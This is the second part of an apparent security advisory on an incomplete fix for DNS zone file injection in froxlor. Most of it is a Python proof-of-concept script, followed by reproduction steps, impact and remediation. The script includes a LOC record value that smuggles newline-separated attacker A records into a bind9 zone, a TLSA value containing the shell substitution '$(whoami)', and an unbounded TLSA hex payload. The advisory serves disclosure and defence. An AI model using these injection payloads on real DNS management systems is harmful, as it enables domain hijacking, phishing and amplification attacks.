Advisory

GHSA-j6fm-9rfm-j5hx

Details, part 2 of 2. The advisory

Details

result_tlsa = fixed_add_record('TLSA', tlsa_payload)

if not result_tlsa['errors']:
print(f"BYPASS: TLSA with matchingType=0 accepted {len(huge_hex)} char hex payload!")
print(" -> No upper bound on certificate association data length.")
print(" -> Can be used for DNS amplification or data exfiltration channel.")
print(f" -> Zone line would be {len(generate_zone_line('_443._tcp', 300, 'TLSA', result_tlsa['content']))} bytes!")
vuln_confirmed = True
else:
print("Blocked:", "; ".join(result_tlsa['errors']))

print()

print("[TEST 5] VULNERABLE version: LOC record with full zone takeover injection")
print("-" * 70)

malicious_loc = "51 28 38 N 0 0 0 W 10m\nevil\t300\tIN\tA\t10.0.0.1\n*.evil\t300\tIN\tA\t10.0.0.2"
result_vuln_loc = vulnerable_add_record('LOC', malicious_loc)

if not result_vuln_loc['errors']:
zone_output = generate_zone_line('@', 300, 'LOC', result_vuln_loc['content'])
lines = [l for l in zone_output.split('\n') if l.strip()]
print(f"VULNERABLE: Injected {len(lines)} zone file lines!")
print("Generated zone output:")
print("---")
print(zone_output, end="")
print("---")
if "10.0.0.1" in zone_output:
print("[!] Attacker DNS records injected into zone file!")
vuln_confirmed = True

print()

print("[TEST 6] VULNERABLE vs FIXED: TLSA with shell metacharacters")
print("-" * 70)

shell_inject = "3 1 1 $(whoami)"
vuln_r = vulnerable_add_record('TLSA', shell_inject)
fixed_r = fixed_add_record('TLSA', shell_inject)

vuln_status = "ACCEPTED (no validation)" if not vuln_r['errors'] else "BLOCKED"
fixed_status = "ACCEPTED" if not fixed_r['errors'] else "BLOCKED"

print(f" VULNERABLE version: {vuln_status}")
print(f" FIXED version: {fixed_status}")

if not vuln_r['errors'] and fixed_r['errors']:
print(" -> Fix correctly blocks shell metacharacters in TLSA.")
if not vuln_r['errors']:
vuln_confirmed = True

print()

print("=" * 70)
print("RESULTS SUMMARY")
print("=" * 70)
print()
print("Pre-fix (VULNERABLE):")
print(" - LOC, RP, SSHFP, TLSA records accept ANY content with no validation")
print(" - Enables DNS zone file injection via newlines in record content")
print(" - Content directly concatenated into zone files (DnsEntry.php:83)")
print()
print("Post-fix (INCOMPLETE):")
print(" - TLSA matchingType=0 has no upper bound on hex data length")
print(" - Validation returns raw input without zone-file escaping")
print(" - No output encoding when writing content to zone files")
print()

if vuln_confirmed:
print("VULNERABILITY CONFIRMED")
sys.exit(0)
else:
print("VULNERABILITY NOT CONFIRMED")
sys.exit(1)


**Steps to reproduce:**
1. `git clone https://github.com/froxlor/froxlor /tmp/froxlor_test`
2. `cd /tmp/froxlor_test && git checkout b34829262dc3~1`
3. `python3 poc.py`

**Expected output:**

VULNERABILITY CONFIRMED
LOC, RP, SSHFP, TLSA records accept unvalidated content; DNS zone file injection via newlines and shell metacharacters


### Impact

An authenticated froxlor user with DNS management permissions can inject arbitrary records into bind9 zone files, enabling domain hijacking, phishing, or DNS amplification attacks via unbounded TLSA payloads.

### Suggested Remediation

Replace `\s+` in the LOC regex with `[ \t]+` to exclude newlines. Add a maximum length for TLSA `matchingType=0` data. Escape or reject newlines in all DNS record content before writing to zone files.

### Resources

- Incomplete fix commit: https://github.com/froxlor/froxlor/commit/b34829262dc3
- Original CVE: CVE-2026-30932

Sources & licences